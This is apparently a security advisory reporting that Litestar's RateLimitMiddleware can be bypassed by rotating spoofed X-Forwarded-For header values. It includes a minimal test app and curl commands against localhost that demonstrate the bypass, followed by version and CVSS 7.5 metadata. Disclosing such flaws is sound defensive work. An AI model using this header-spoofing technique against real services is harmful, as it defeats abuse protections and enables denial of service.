While testing Litestar's RateLimitMiddleware, I discovered that rate limits can be completely bypassed by manipulating the X-Forwarded-For header. This renders IP-based rate limiting ineffective against determined attackers.
Litestar's RateLimitMiddleware uses cache_key_from_request() to generate cache keys for rate limiting. When an X-Forwarded-For header is present, the middleware trusts it unconditionally and uses its value as part of the client identifier.
Since clients can set arbitrary X-Forwarded-For values, each different spoofed IP creates a separate rate limit bucket. An attacker can rotate through different header values to avoid hitting any single bucket's limit.
Looking at the relevant code in litestar/middleware/rate_limit.py around line 127, there's no validation of proxy headers or configuration for trusted proxies.
Here's a minimal test case
from litestar import Litestar, get
from litestar.middleware.rate_limit import RateLimitConfig
import uvicorn
@get("/api/data")
def get_data() -> dict:
return {"message": "sensitive data"}
rate_config = RateLimitConfig(rate_limit=("minute", 2))
app = Litestar(
route_handlers=[get_data],
middleware=[rate_config.middleware]
)
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8000)
Testing the bypass
# Normal requests get rate limited after 2 requests
curl http://localhost:8000/api/data # 200 OK
curl http://localhost:8000/api/data # 200 OK
curl http://localhost:8000/api/data # 429 Too Many Requests
# But spoofing X-Forwarded-For bypasses the limit entirely
curl -H "X-Forwarded-For: 192.168.1.100" http://localhost:8000/api/data # 200 OK
curl -H "X-Forwarded-For: 192.168.1.101" http://localhost:8000/api/data # 200 OK
curl -H "X-Forwarded-For: 192.168.1.102"...
2.17.02.18.0Exploitability
AV:NAC:LPR:NUI:NScope
S:UImpact
C:NI:NA:H7.5/CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H